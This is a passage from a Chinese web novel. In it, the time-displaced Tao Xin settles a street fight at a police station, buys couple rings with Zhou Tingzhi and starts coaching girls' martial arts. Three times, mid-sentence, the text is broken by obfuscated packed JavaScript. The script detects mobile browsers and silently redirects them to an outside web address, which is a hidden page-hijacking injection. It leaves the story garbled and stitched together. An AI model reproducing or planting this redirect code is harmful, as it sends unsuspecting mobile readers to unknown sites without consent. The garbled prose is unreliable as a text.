她说这话的时候,陶欣一声不吭的将传单递给了一旁的小姑娘,那小姑娘一看这阵仗就是要打起来啊,兴奋地不得了,赶紧就把传单接了过来,扎扎实实地抱在怀里。 小曼也急得冒汗了,真后悔让赵哥去买什么绿豆汤,眼下赵哥没回来,周围还这么多双眼睛,她只能先劝陶欣离开这个是非之地:“陶小姐陶小姐,这件事我来处理,你……” 话说半截,陶欣已经推开她,一把揪住“油头粉面”的衣领子,劈头盖脸就是两个大耳光,打的出奇快准狠,就连“油头粉面”本人都愣了三秒才反应过来,作势便要伸手拉扯陶欣的衣服。 可陶欣是谁啊,一九九六年全国少年组武术锦标赛多项金牌获得者,只见她向左一闪身,向右一挥拳,直接将“油头粉面”掀翻在地,干脆利落的让众多围观路人都静默了一瞬。 刻薄女也愣了愣,而后扑过去抱住她男朋友,尖着嗓子喊:“你敢打人!我要报警!” 陶欣甩了甩有点疼的左手,看向一旁正在愣神的小曼:“怎么样,摆得平吗?” 这尼玛—— 小曼看着脸颊红肿嘴唇冒血的“油头粉面”,深吸了一口气说:“这个不太好摆平,我们的权限只能把网上的视频删一删,避免让你成为某某广场传单姐。” 陶欣点点头:“好吧,那报警,叫周总来摆平。” …… 周廷之赶到警局的时候,陶欣正坐在办公椅上转圈圈,陈平在她身旁小声和两名警官交涉,不知道说了什么,那两名警官都面露为难。 “陈局长。”周廷之走过去,看着陈平笑道:“真不好意思,给你添麻烦了,剩下的事就交给我处理吧。” 管理局是保密单位,没有进入公安系统的权限,陈平也是有心无力,叹了口气说:“那两个人不愿意和解,陶小姐作为打架参与者大概要被行政拘留。” “是他们俩先来惹我的。”陶欣嘟嘟囔囔,明显不满意这个处理结果。 周廷之轻轻拍了拍她的肩膀,对那两名警官说:“具体情况来的路上我已经了解过了,可不可以再和对方见面详谈一下?” “现在医院那边还没有出具伤情鉴定书,恐怕很难调解……” 另一个警官看了眼周廷之身后跟着的律师,想了想说:“行吧,叫双方当事人到调解室再聊一下。” 陶欣并不担心自己会被行政拘留,去调解室的路上还在和周廷之抱怨:“我手机都摔坏了。” 周廷之像个溺爱孩子的父亲,无底线的包容她:“没关系,本来你手机也不是新款,待会再去买一个。” 陈平听到这话肉疼的厉害。陶欣原本那部手机是管理局出资购买,怕大小姐用着不满意,还特地买了超出预算的iPhone。 一行人进了调解室,陈平才看见对方当事人,好家伙,陶欣口中的“油头粉面”愣被打成了“胖头肿脸”,真是惨不忍睹。 而坐在“胖头肿脸”旁边的刻薄女一看见陶欣就大叫起来:“我告诉你!你就是跪下给我嗑一百个响头我也不可能和解!” “王女士是吗?”周廷之的律师彬彬有礼地递出自己的名片,上面有他的职位,好像写着什么什么首席律师,刻薄女一看就收敛了嚣张的气焰。 陶欣对这个流程很熟悉。她小时候总被男孩子欺负,父母就送她去学了武术,并且不厌其烦地在她耳边叮嘱:“别委屈自己,出了事爸妈摆平。”陶欣从小到大因为“油头粉面”这种人进过三次派出所,她下手精准,只伤自尊不伤身,每次都是赔钱了事,她爸说这个世界上没有谈不成的生意,只有谈不拢的价格。 可这一次,周廷之并不打算谈价格。 律师看着刻薄女,金丝眼镜下的眼珠闪烁着精光,弥漫着无形的杀气:“王女士,据我了解您父亲是市监局的公职人员,母亲在本地经营一家医美整形医院,三个月前因为医疗过失导致一位患者面部脂肪溶解,右侧胸部出现积液,发生严重变形,现在双方还在就这起医疗纠纷打官司是吗?” 刻薄女愣了愣,问:“你什么意思?你要帮我打官司?” “不。”律师微笑着说:“我会联系那位患者,成为她的代理律师,并向你母亲名下整形医院内所有没有医师资质的美容主诊提起诉讼,当然还有你舅舅和你母亲合作的小额网贷公司……” 任谁都能听得出来,这是很明显的威胁。 刻薄女横行霸道的底气在此刻脆弱的不堪一击。 “我们和解……”她低下头。 “关于和解,我方诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338671|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求,请你们对在公共场合公然侮辱陶小姐,捏造事实诽谤陶小姐一事进行道歉,如果陶小姐满意,我们双方就可以签订和解协议书了。” 刻薄女始终低着头,站起身,很郑重的向陶欣鞠躬道歉:“对不起……” “呃,那就和解吧。”陶欣觉得当下的状况有点奇怪,她明明该很解气,可莫名有种仗势欺人的感觉。 周廷之察觉到了陶欣神情的微妙变化。 从警局出来,告别陈平等人,周廷之带着陶欣去商场买新手机。 刚一登录微信,陶欣就收到了今天兼职的报酬,时薪加上提成,总共三十块钱。陶欣看着转账,乐滋滋的对周廷之说:“这是我长这么大第一次自己赚钱。” 周廷之笑道:“要不要换成现金,做个纪念。” “那算什么纪念呀。”陶欣想了想说:“嗯……我买个礼物送给你吧,你想要什么?三十块钱能买什么?” “你送的我都喜欢。” “有点主见好不好啊。” 商场一楼有金店珠宝店,还有那种柜台很小的饰品店。陶欣拉着周廷之过去,视线在玻璃展柜里扫了一圈,终于在角落里发现了一枚细细窄窄的素圈银戒指,标价三十二元。 “你好,帮我把这个拿出来,对,就是最便宜的那个。”陶欣接过戒指,估算了一下大小,抓起周廷之的左手,慢慢戴到他的无名指上,忍不住笑:“竟然正合适呢,还挺好看的。” 周廷之的手指细细长长,戴这种素圈戒指很漂亮,尤其戴在无名指上,很有人夫感。 “怎么样,你喜不喜欢?” “嗯,喜欢。” 陶欣去和店员砍价了,求店员给她抹个零。 周廷之盯着那枚戒指良久,一直到陶欣付完款后才说:“我之前本来打算,等你过生日那天送你戒指做礼物。” “什么戒指呀,情侣戒吗?” 周廷之“嗯”了一声。刚刚在警局还略显冷酷的一个人,现在看着倒怪可怜的。 陶欣握住他的手,轻轻一摇晃:“你也给我买个戒指吧,我们凑成一对情侣戒。” 周廷之笑起来:“要在这买吗?” 陶欣:“当然不行!得买钻戒啊。” 说买就买。两个人在地图上搜索了一下,附近刚好有一家Tiffany的门店,步行过去只要几分钟,跟着导航左转右转很快就到了。 陶欣不禁感慨:“导航真是伟大的发明,不像以前去哪里总是迷路,还要你来接我。” 周廷之:“现在有位置共享,找你更方便。” 两人进了门店,立刻便有柜哥迎了上来,微笑着和陶欣打招呼:“您好,欢迎来到Tiffany,我是您的专属顾问艾伦,请问怎么称呼您?” “我姓陶。” 不等柜哥开口,另有一个穿着套装裙,十分优雅干练的女人走上前来:“陶小姐,周先生,非常感谢您二位选择Tiffany,请到这边稍坐片刻,我们帮二位准备了下午茶。” “不用这么麻烦,我只想买一个钻戒。” “您放心,我们一定为您选到心仪的珠宝。” 这个看上去像店长的女人明显是认识周廷之的,完全拿出对待大客户的态度,一边邀请陶欣和周廷之入座一边叫柜哥拿出当季新款的钻石戒指,那么一大盒,最小的都有五克拉,可没有一款能和周廷之手上的银素圈配成情侣戒。 “我不是要这种。”陶欣举起周廷之的手,指了指上面的银素圈:“要这样的戒指,有一颗小钻石就可以了。” 短短一瞬间,店长脸上变幻出五六种神态,错愕,茫然,沉思,恍然大悟,恨铁不成钢,最后是“姐妹!能捞赶紧捞啊!装什么我不爱你的钱只爱你的人!你的青春值这一整盒大钻戒啊!分手了好歹还能剩这一整盒大钻戒!” 好神奇,陶欣看着她的眼睛,仿佛听到她内心的咆哮。 “陶小姐……”当着周廷之的面,店长有千言万语也只能堵在喉咙里,脸都要憋成了猪肝色:“您请稍等。” 猪肝色的店长很快重新拿来一盒钻戒,都是小巧精致的款式。 “哇,我喜欢这个。”陶欣选中一枚,细细窄窄的素圈,闪闪亮亮的小方钻。她戴到无名指上,和周廷之手上的刚好配成一对:“怎么样?” 周廷之说:“很合适。” 店长马上飞来一个鄙视的眼神,虽然转瞬即逝,但还是被周廷之捕捉到了。周廷之同样清楚店长此刻在想什么——欺负小姑娘年少无知的抠搜老男人。 陶欣:“那就这个了。” 周廷之:“不再看看别的吗?” 店长赶紧接过话茬:“陶小姐可以试戴一下这一款,5.5克拉的小鸽子蛋,经典简约优雅,相比您手上那枚30分的方钻,这款显然更很符合您的气质。” 店长很着重很着重的强调了两枚戒指的数据。 “买吧。”周廷之终于按捺不住替陶欣做决定:“今天要是只买这一枚小戒指,我前脚出去,她后脚就会把我挂到网上。” 店长万万没想到自己的小心思全被周廷之看在眼里,不过她到底是圆滑老练的人,听出周廷之在开玩笑,干脆顺水推舟道:“怎么会呢周先生,我是绝对不会把您挂到网上的,最多是……在姐妹群里小小的吐槽一下。” 她说这话的时候非常可爱,惹得陶欣笑个不停,而周廷之看到陶欣这样笑,便声音轻轻的对店长道:“麻烦你帮我把这些都包起来吧。” 男人!什么是男人!这才是男人! “好的,请稍等。”店长忍耐着内心的激动,将那一盒大钻戒拿起来,因为不想给陶欣推推阻阻的机会,拿起来就走,果断的都有点不礼貌了。 12. 第 12 章 陶欣第一次兼职就发生意外,陈平认为自己难辞其咎,整个管理局都要跟着反省,毕竟这可不是小事,也就是陶欣人格健全,心理素质强,要换做其他缺乏安全感的时裂受害者,第一次接触社会参加工作就受到挫折,是很容易产生挫败感的,或许就此一蹶不振。 陈平痛定思痛,对陶欣的下一份工作作出以下要求。 1.固定场所,固定人员。 2.与女性共事,工作氛围好。 3.工作内容简单轻松。 4.工作时长在六小时内。 赵哥对此表示:“局长,你干脆给陶小姐一个管理局的编制算了,现在外边哪还有这种工作啊。” 话是这样说,可小曼一琢磨,还真有了主意:“我叔叔开了家武术培训班,前阵子聚餐的时候听他说最近有好多女孩子的家长来咨询,想让孩子学几招防身术,可是他们那教练都是男的,学员也基本上都是男孩子,家长不太放心。要不我问一下,让他开个女子防身术的小班,我看陶小姐的身手完全有资格做教练嘛。” 陈平一听也觉得很好,做武术教练,工作上接触的都是小女孩,简简单单,没有和同事勾心斗角的复杂成分,偶尔跟学生家长沟通,刚好锻炼了社交能力。 得到陈平的认可,小曼就分别联系了自家叔叔和陶欣,将自己的想法在电话里做了简单说明,她叔叔本有此意,听闻侄女有推荐的人选便一口答应了下来,而陶欣这边稍微有点犹豫,倒不是怕别的,只怕自己没办法和孩子好好相处。 小曼叔叔得知陶欣的顾虑,就提议让她到武术馆参观一下,实地感受馆内氛围,到时候再做决定。 刚巧这天是周六,周廷之没有工作安排,可以陪她一起去,两个人还打算参观完武术馆顺便到附近的寺里吃一碗素面。 武术馆的位置比较偏,不过规模很大,独栋的两层小楼,算上外边的院子有将近一千平米,门口还有两排停车位,整体的装修风格也很讲究,古声古色的,非常大气,一看就不是普通的武术培训班。 而小曼的叔叔赵馆长是个胖胖的中年男人,穿着白色唐装,长得堪称珠圆玉润,笑起来慈眉善目,很容易让人对他心生好感:“陶小姐,这边一楼是基础班,学员年纪偏小,主要教一些十步拳之类的,你知道的,现在不像早些年了,家长都不忍心让孩子吃苦,送来学武的目的大多是为了强身健体,培养男子气概,还有就是了解中国传统文化。” 陶欣透过窗户看向教室里一边大喊一边出拳的小豆丁们,忍不住笑起来:“还挺可爱的。” “这会看着是可爱,刚来的时候可不好带了,教孩子们规矩礼仪和尊师重道也算是我们馆的一个特色吧。”赵馆长继续说道:“在基础班待够一年的学员,如果对武术产生浓厚的兴趣,就会升级到提高班和进阶班,我们进阶班的学员都是预备参加比赛的,会有专门的教练一对一指导,你看,二楼这边都是小教室。” “二楼大孩子比较多了。” “对,二楼很少有十岁以下的学员,要是招收女学员我们也偏向招收十岁左右的,所以你不用担心到这里是来当孩子王。” 听赵馆长这么说,陶欣对新工作的满意度又提升了一大截,她回头看向一直跟在自己身后的周廷之,问:“你觉得怎么样?” 周廷之点了点头:“很适合你。” 赵馆长见状便将两人带到了一间空教室:“陶小姐这边要是没问题的话,我就开始招生了,这两天防护设备进场,大概周三下午五点可以开第一堂试听课,然后周末正式开课,上午下午各一堂,算上午休时间一天总共是六个小时,如果家长有一对一指导或者拼小课的需求,我们馆只收取百分之十的教室使用费。” 赵馆长正说着,走廊里迎面走过来一个穿着运动服的男生,赵馆长忙叫住他,笑着向陶欣介绍道:“这是我们武术馆的合伙人,也是我们武术馆的馆草,陆晨。小陆,这是新加入的教练,陶欣陶小姐。” “你好,陶小姐,欢迎加入。” 馆草不愧为馆草,看着二十出头的模样,高鼻梁,丹凤眼,长得唇红齿白,笑起来脸上还有一对酒窝。 陶欣一看陆晨就觉得是姚雪娜喜欢的类型,放在十八年前她高低要给姚雪娜牵桥搭线,可惜啊,也不知道姚雪娜结婚了没有…… 陶欣短暂的一走神,才想起来要和陆晨打招呼,不好意思地笑笑:“陆教练好。” 赵馆长怕陶欣轻视自己的合伙人,又补充说:“别看小陆年纪不大,他可是全国青年组武术冠军,现在教的进阶班多少学员挤破头想进呢。” 赵馆长这么夸陆晨,陶欣自然要给予回应:“这么厉害!那以后可得请陆教练多指教啦。” 陆晨笑一笑,脸上的一对酒窝很招摇:“也请陶小姐多指教。” 陆晨待会还有课,聊两句就走了,赵馆长便带着陶欣和周廷之继续在馆内参观,快要结束的时候周廷之忽然问:“馆里的监控安装多久了?” 赵馆长怔了一下才回答道:“哦,刚开业那会装的,有两年多了吧。” “我看这些监控都是早些年的旧款。” “是吗?这我还真不太清楚,可能装修到后期预算不够了吧。” “跟小孩子接触监控还是很重要的,否则有什么意外很难说清楚。” 赵馆长敏锐地察觉到周廷之的态度产生了变化,可又不太能摸得着头脑,只好稀里糊涂的应付:“可不是嘛,所以我们这的监控只要一有问题马上就叫人来修理,周总要不放心可以跟我到办公室看看。” “你误会我的意思了。”周廷之握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15338672|167800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶欣的手,语气温和:“我公司有一款新研发的监控设备,刚投入市场不久,反响很好,赵馆长不嫌麻烦的话,我可以叫人来免费帮你安装,就当是感谢你给陶欣工作的机会。” 一整套监控设备可不便宜,赵馆长顿时喜上眉梢:“哎呀,这怎么好意思,周总真是太客气了。” 从武术馆出来,陶欣和周廷之按计划去寺里吃素面。阳光和煦,绿树成荫,两个人没开车,沿着河畔一路走过去,看到河里有一群小鸭子,陶欣很高兴的拿出手机叫周廷之给她拍照。 “怎么样怎么样?能拍到吗?”陶欣弯着腰,伸出一只手,河里的小鸭子好像被她托在掌心,非常天真可爱的样子。 等待时机,按下快门。周廷之看着屏幕里笑容灿烂,年轻鲜活的陶欣,身体仿佛被浸透在春日的江水里,流淌着一阵阵刺骨寒意。 周廷之不想承认,陶欣看向陆晨时那短暂的一走神让他心生嫉妒。他并不是那样的人,他也知道陶欣绝不会轻易移情,可嫉妒就像阳光落下来才会出现的黑影子。 “好看耶,这构图,这光影,你可以的嘛,现在拍照技术真不错。” “手机比相机好操作一点。” 陶欣深以为然地点点头:“那倒是,现在什么都方便了。”紧接着又说:“我想和陈平申请一下提前去考驾照,也就是重学交规嘛,能有多难,干嘛非要等考核结束?等驾照下来我就可以自己开车上班了。” 现在驾照没以前那么好考。周廷之本打算这样说。可一开口,却和心里想的不太一样。 “你很喜欢这份工作吗?” “嗯!挺喜欢的!你不也说很适合我?” “哪里都好,唯独周末工作不太好,我还想着以后每个周末都带你到处玩玩。” 陶欣嘟起嘴巴,往前走了三四十米远才心不甘情不愿地说:“那等你不忙了我们再一起去玩吧。” 她是一定要出去工作的。 周廷之也清楚,这是很正确的选择。 忽然想到某一年正月初二,他去陶家拜年,夫妇俩谈起女儿过往的一些糗事,止不住笑,说陶欣长着一张聪明人的脸,却实在不够聪明,脑子笨,老是犯傻,幸好心里始终明白。 这话一点不错。 所以周廷之不得不强迫自己清理掉不该存在的嫉妒,以免陶欣察觉到他的黑影子。 很快到了寺庙,有好多人在大殿排队烧香,也有好多人到处拍照,陶欣和周廷之则直奔面馆,点了两碗罗汉面。 两个人坐在窗边,大口大口,都吃的很香。 吃完面又去逛了人挤人的文创店,买了奶茶和咖啡,还撸了一会寺庙里肥肥胖胖的大橘猫。 如果不是一个小学生撞到他的时候喊了一声叔叔,周廷之几乎要忘记自己的年龄。 13.第 13 章 陶欣的试听课大获成功,虽然只有七名学员,但这七名学员都交了一个学期的学费。陶欣很得意,吃晚饭时还逮着周念绘声绘色地讲了一遍当时的情景。 周念木着一张脸,很不捧场,可也没有阴阳怪气冷嘲热讽,陶欣认为这是友好的趋势,看到周廷之打完电话过来,又美滋滋地跟周廷之显摆:“馆长说自从他办武术馆以来就只有我的试听课是百分之百招收率。” 周廷之笑起来:“那要不要喝点酒庆祝一下?” “好呀。”陶欣眼睛睁得圆圆的,那么高兴。 周念用余光瞥着她,还是看不惯。某种意义上来说,周念这个常年跟在爷爷奶奶身边操心周廷之终身大事的儿子,审视陶欣的时候多是以一种公公婆婆审视儿媳妇的视角。 陶欣过于年轻,过于漂亮,本来就拥有一个坏儿媳妇的基本标配,偏偏她还特别能花钱,爱买东西,物业每天都一车一车往家里运快递,周廷之更是专门请了两个小时工来帮她拆快递和整理收纳。 归根结底,周廷之无底线的纵容才是陶欣的原罪,周念有时候看着周廷之,心中都会莫名生出一股儿大不由娘的悲凉。 不过话说回来,周念偶尔也会抽离出这种情绪,忘记自己讨厌陶欣。 “这杯是我的,这杯是你的,这杯是周念的。” “我不要喝。” “不喝不行,你是不是男人啊,一点风度都没有,女生给你倒酒是一定要喝的。”陶欣脸颊红红的,眼睛亮亮的盯着他:“除非你说你酒精过敏,撒谎是小狗。” 如果周念真的讨厌陶欣,无论陶欣说的多么天花乱坠,他都不会松口喝这杯酒。 可气氛烘托到那里了,他不仅扭扭捏捏地喝了,还扭扭捏捏地和陶欣碰了一下杯。 周念觉得自己活得很矛盾,很分裂,甚至有点莫名其妙的负罪感。 晚上连麦打游戏的时候,他照常向李乐泉倾诉自己的苦恼,而李乐泉就像心灵导师一样帮他分析梳理:“其实你不用想的那么复杂,就是简简单单四个字,顺其自然,你看人家妲己,你是冷屁股还是热屁股,根本都不影响她,人家该吃吃该喝喝,保不齐你爸还觉得她在你这受委屈了,给她转个三五百万当补偿。” “什么热屁股冷屁股的,说的这么难听。”周念抱怨。 “话糙理不糙啊,你听我的,也顺其自然,高兴就把她当亲戚处,不高兴就闪一边,反正开学之后你只有周末回家,跟她也不经常见面,至于要不要接受她做你后妈,真不着急做决定,天晓得你爸会跟她谈多久。” 叫李乐泉这么一说,周念心里好受不少,对李乐泉简直有些崇拜了:“你真应该改名叫李不糙。” “哥就当你是在赞美我。” “我本来就是在赞美你。” 李乐泉嘿嘿笑两声:“对了,妲己在哪做武术教练啊?我叫我妈带乐琪去报个名。” “你妹要学防身术?” “学什么防身术,是我妈,她好奇你爸的小女朋友长什么样子,好奇的抓心挠肝,你就行行好,满足一个中年妇女的好奇心吧。” 周念经常去李家借宿,李乐泉的妈妈待他颇为慈爱,周念知道那位中年妇女只是单纯的好奇心旺盛,并非想看他家的笑话,便回答说:“我也不清楚具体位置,好像是在一个寺庙附近吧。” 于是周六正式上课那天,陶欣又多了一名新学员。 “你叫小琪?” “嗯!” 脸蛋胖嘟嘟的小姑娘点一点头,一本正经的模样。 陶欣戳一戳她软绵绵的肚腩,笑着站起身,望向她的家长:“学武初期难免会吃一些苦,希望家长能做好心理准备,不要比小孩子还先打退堂鼓。” “教练尽管放心,我们是做好心理准备才来报名的。”小琪妈妈笑盈盈地看着陶欣。 陶欣虽然觉得她的眼神有点奇怪,但也没多想,和小琪交代了一些注意事项后就抓紧时间开始上课了。 第一堂课是教基础动作,不算难,只是有些枯燥,不过陶欣在课前展示了一段剑舞,把小朋友们迷得神魂颠倒,挥舞起小木剑也不觉得枯燥,都很听陶欣的话,两个半小时下来没有一个喊累的。 午休时间,家长们都带着自家小孩去食堂吃饭了。陶欣从包里翻出手机,刚打算跟陈平汇报一下工作情况,就收到了周廷之的微信。 【周廷之:中午吃什么?】 【陶欣:好巧啊,我刚下课】 【陶欣:吃食堂吧,听馆长说食堂的饭菜都是营养又健康的减肥餐】 【周廷之:营养又健康,听起来就很难吃】 陶欣笑了笑,正要回复,忽然听到有人唤她,转头一看,是陆晨站在教室外。 “欸,陆教练,你也刚下课吗?” “我结束有一会了,想着等你一起去吃饭。”陆晨笑着问:“第一天上课怎么样?累不累?我第一天教基础班的时候嗓子都累哑了。” “还行,不怎么累,主要是跟小女孩说话不用很大声。” “这么好,亏我还给你准备了喉糖。” “给我来一颗吧,也不能叫你白准备呀。” 两人一边说话一边往外走,陶欣的手机连着震了好几下,她低头看了眼,是周廷之发来的午餐照片,应该是一个喝茶的地方,装潢很雅致,桌上摆着几样精致的点心,对面坐着两个男人。 【周廷之:我中午只能吃这个了】 【周廷之:甲方大人轻断食,只喝茶不吃饭】 原来是饿肚子了,难怪她觉得周廷之今天格外的粘人。陶欣忍着笑对一旁的陆晨道:“不好意思,我回复个消息。” 陆晨忙说:“没关系,你回。” 【陶欣:什么!竟然不给吃饭!马上把桌子掀了回家来】 【陶欣:姐姐能赚钱了,姐姐养你】 【周廷之:太好了,我也想重温一下吃软饭的幸福时光】 每次和周廷之互发消息,陶欣都会产生一种错觉,仿佛手机对面的人是十八年前的周廷之。 仔细想想,陶欣就有点难过,她的男朋友没变过,只是在她面前一直小心翼翼。 【陶欣:来接姐姐下班,姐姐请你吃大餐】 【周廷之:好,等我】 和甲方大人在一起喝茶总不能太频繁的看手机,陶欣没再回复了,跟着陆晨进到食堂。 武术馆的食堂不算大,有点像学校附近的小饭桌,菜品种类却很丰盛,真正做到了营养又健康。诚如周廷之所说,营养又健康听起来就很难吃,可那些小朋友蹦蹦哒哒一上午,早饿的肚子咕咕叫,这会都埋头苦吃,根本找不到一个挑食的。 “陶教练,坐这吧,角落里安静点。” 陶欣笑笑:“你别叫我陶教练了,感觉我还不够格,直接叫我陶欣就好,听着自在些。” “直呼大名?”陆晨掰开一次性筷子,递给陶欣一双。 “名字不就是要人叫的。”陶欣接过筷子,打开相机,对着自己的午餐拍了张照片。 陆晨似乎有意和她闲谈,见状便问道:“发给男朋友?” “是啊。” 话音未落,陶欣的手机就响了,显然是周廷之的回复。 陆晨笑道:“你男朋友平常应该很忙吧,居然还能秒回消息。” 陶欣看看陆晨,眉峰一挑:“干嘛聊这个,你对我感兴趣还是对我男朋友感兴趣?” 陆晨白净净的一张脸瞬间红透:“什么啊,我们这不是闲聊吗。” “闲聊哦。”陶欣手托着腮,笑眯眯地问:“陆教练,你有女朋友吗?你跟你女朋友感情怎么样?” 这话听起来确实很像要挖墙脚。陆晨更窘了,只能苍白地解释:“我没这个意思,真的,你相信我。” 自陶欣上大学以后,身边的追求者多得可以装好几个火车皮,即便在她和周廷之确立恋爱关系后,想要第三方加盟的也层出不穷,一个个不是嘘寒问暖,就是关怀体贴,都打着一番好意的旗号,害陶欣都分不清人家照顾她到底是真好意还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来,一人一个,拿好哦,带回家问过爸爸妈妈,爸爸妈妈同意才能吃知道吗?” 周廷之买的小蛋糕是酒店里专门订制的那种,味道暂且不论,外观相当精致,对这些十岁左右的小女孩而言本就是难以抵挡的诱惑,更何况送她们蛋糕的还是一个又高又帅又温柔的叔叔,孩子们兴奋的不得了,围在陶欣身边叽叽喳喳。 陶欣被她们吵的吃不消,一到下课时间就板着脸全都撵走了。出了教室门又看到走廊里还有几个纸袋,里面显然也装着蛋糕。 陶欣一怔,问:“怎么还有?” 周廷之说:“同事们也该送点见面礼。” 陶欣笑起来:“那些教练都是男的,应该不爱吃蛋糕吧。” “只是一点心意。”周廷之嘴角微微上扬:“不爱吃可以拿回去给女朋友。” “说的也是,那走吧,趁他们还没下班抓紧分一分。” 今天是周末,教练们都在馆里。正上着课的,陶欣没多打扰,把蛋糕放在门口说一声就走了,还有两个教练没上课,在休息室下象棋,见陶欣和周廷之一前一后进来便笑着说:“陶教练,男朋友来接啊。” “是呀,给,我男朋友买的蛋糕,好吃的,拿回去尝尝。” “哎呀哎呀。”坐在外边的教练忙不迭地把蛋糕接过去:“这不是最近很火那个网红蛋糕吗,我对象一直想吃,很难订到啊。” 周廷之很客气:“这家酒店是我一个朋友开的,要是你有需要随时和陶欣说,我帮你订。” 那个教练闻言连声道谢,一副受宠若惊的样子。 “没关系,以后还要麻烦你们多照顾陶欣,她长这么大第一次参加工作。” 周廷之一直都是个面面俱到的人,说话做事向来滴水不漏。 可此刻陶欣看着他,却莫名觉得有点奇怪,或许是出于一种小动物的本能,陶欣从周廷之身上感受到狩猎者的气息。 14.第 14 章 时间和阅历会改变一个人的气质。从前的周廷之虽然在人情世故上无可挑剔,但嘴角的笑意是难以掩饰的生涩和腼腆,而十八年后的今天,即便陶欣不够细腻,也能察觉出周廷之谦逊温和外表下游刃有余的强势。 可不管怎么样,周廷之的爱毋庸置疑。 幸好有他,穿越到2020年的第四十七天,陶欣的生活终于步入正轨,真正充实起来。 陶欣很适应武术馆的工作,跟同事相处友好,学员们乖巧听话,管理局也通过了她考驾照的申请,还帮她报名了驾校。 至于周念,大少爷不乐意住宿舍闻脚臭味,早早在学校附近买了一间公寓,临开学前两天琴姨就跟他一块过去收拾了,现在家里只剩陶欣和周廷之两个人。 虽然白天周廷之不在家,陶欣会有一点闷,但到了晚上,孤男寡女,就没人能阻止陶欣兽性大发了。 “你知道吗?我早就想这么做。”陶欣拉开周廷之的手臂,侧着脸埋进他的胸口,觉得这种完全贴合的,被包裹住的感觉,很像小时候被妈妈抱在怀里,温暖,紧密,似乎有一条脐带相连的安全感。 三十八岁的周廷之身上有妈妈的气息。 他会温柔的环抱住她,手臂和手尽可能覆盖她的身体,一下一下,轻拍她的背。 周廷之没有告诉陶欣,其实他也早就想这么做,可是身为周念的父亲,他不得不顾忌周念的目光。 “你科一题背的怎么样了?” “哎呀,别说这个,两千道题怎么背啊。” 陶欣记忆力很差,要不是身体条件好,被爸妈硬逼着学了几年舞蹈,多半连大学都没得上。在学习能力方面,她应该算是头脑简单四肢发达的类型,什么滑雪冲浪打网球,陶欣都是一学就会,轻轻松松就能达到半专业的水平,可现在叫她背一遍桃花源记,她也只能背到忘路之远近。 “其实不用死记硬背那两千道题,你多刷几次模拟考,主要看一看错题,记住关键字就好了。” “为什么现在考驾照这么难,我考驾照的时候只是把车从这个路口开到下一个路口就结束了。” 周廷之垂眸看她:“驾照是叔叔给你买的吧。” 陶欣迟疑了一瞬,才嘟嘟囔囔很心虚地说:“那我也跟着司机练了很久的车啊。” “现在不允许那样了。”周廷之叹了口气:“而且是管理局给你报名的驾校,我做什么都越不过陈平。”他小声地道歉:“对不起……” 没有捷径可以走。陶欣哀嚎一声,像条离了水的鲤鱼在周廷之怀里拱来拱去:“怎么这样啊!为什么要重考驾照!我开车一整年可是一次交通事故都没有出过!” 管理局事事为陶欣好,事事为陶欣打算,这一点周廷之一直都很认可,并感激,但是此刻他忽然觉得管理局在驾照这件事上过于严苛。 那时候开车上路可没有实时导航,陶欣开的车还是手动挡。 周廷之替陶欣感到委屈。 管理局不该这样对待陶欣,她很可怜。 “没关系,不想背就不背了,回头我再找陈平谈一谈。” “还是算了吧,他让我在考核期考驾照就已经违反规定了。”陶欣不动了,像离水太久的鱼,奄奄一息。 周廷之抚了抚她的背:“那你怎么才能高兴点?” “你想让我高兴?” “嗯,想。” 陶欣坐直身,漂亮的眼睛亮晶晶地盯着他,一点一点,卷起他的白T恤:“可以嘛。” 当然可以,他知道这才是陶欣一直想做的事。 周廷之身体后仰,抓住自己的衣角,慢慢拉到锁骨处。 陶欣重新趴回去,没有那一层衣物的阻隔,她能清楚听到周廷之的心跳,感受周廷之的温度,以及…… “好有弹性。” 周廷之不自觉绷紧身体,腹部的肌肉微微抽动了一下:“……可以了吗?” “再抱一会,你不是说想让我高兴?别这么小气嘛。”她撒着娇,温热的气息像滚烫的电流,刺激着周廷之皮肤的肌理。 周廷之竭力克制着自己紊乱的呼吸:“你……往那边坐,我腿麻了。” 夜深人静,孤男寡女,又是这种氛围。 她能往哪坐?还能往坐? 陶欣仰脸看向周廷之:“我跟我的前男友到这个阶段就差不多该接吻了。” “你和你前男友进展真快。” “可能我们比较开放。” 周廷之笑了,低头吻她。许久之后,又一次道歉。 “对不起。” 女人自尊是天上月,高山雪。 他不该让陶欣主动索吻。 “没关系呀。” 他温柔的心思,陶欣全明白。 陶欣只是想让胆怯的男朋友在自己面前勇敢一点,不必那样小心翼翼。 …… 琴姨回来后一直心情不太好。周念不在家住,她心里空落落的。 毕竟是从小带到大,琴姨对周念比周廷之这个当爹的还上心,几天不见是真惦记,想知道周念的近况,又不好给周念打个电话发个视频。 有时候看着周念的东西,就止不住唉声叹气,自言自语似的说一句“也不知道小念在学校怎么样了”。 